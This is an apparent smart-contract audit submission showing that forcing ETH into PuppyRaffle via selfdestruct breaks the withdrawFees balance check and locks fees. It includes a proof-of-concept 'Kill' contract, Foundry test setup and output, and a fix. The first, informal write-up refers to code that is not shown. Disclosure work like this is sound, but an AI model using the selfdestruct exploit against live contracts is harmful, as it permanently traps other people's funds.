PuppyRaffle::withdrawFees function had a checks that prevent a withdrawal of fees when an attacker forcefully sends ETH into the protocol via selfdestructThe PuppyRaffle::withdrawFees function had a checks that requires the balance of raffle is the same as the totalFees
This check was meant to made sure that no player is currently participating in the raffle
But this also means that if the contract had more balance than the totalFees, even after there is no player, it is impossible to call this function properly
Likelihood:
When someone forcefully send ETH to the contract using selfdestruct
Impact:
No one can withdraw the fees
The attacker sends ETH forcefully using a smart contract and calling selfdestruct
raffle runs normally as usual until the owner tries to call PuppyRaffle::withdrawFees but failed, even after the winner si selected and the prize being distributed
Add the folowing contract to the test/PuppyRaffleTest.t.sol test suite
Then add the following test function into test/PuppyRaffleTest.t.sol::PuppyRaffleTest test suite
Immedietly calls the withdrawFees() function everytime the winner had been selected and the prize had been distributed so that we dont need to add the checks in the withdrawFees function
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.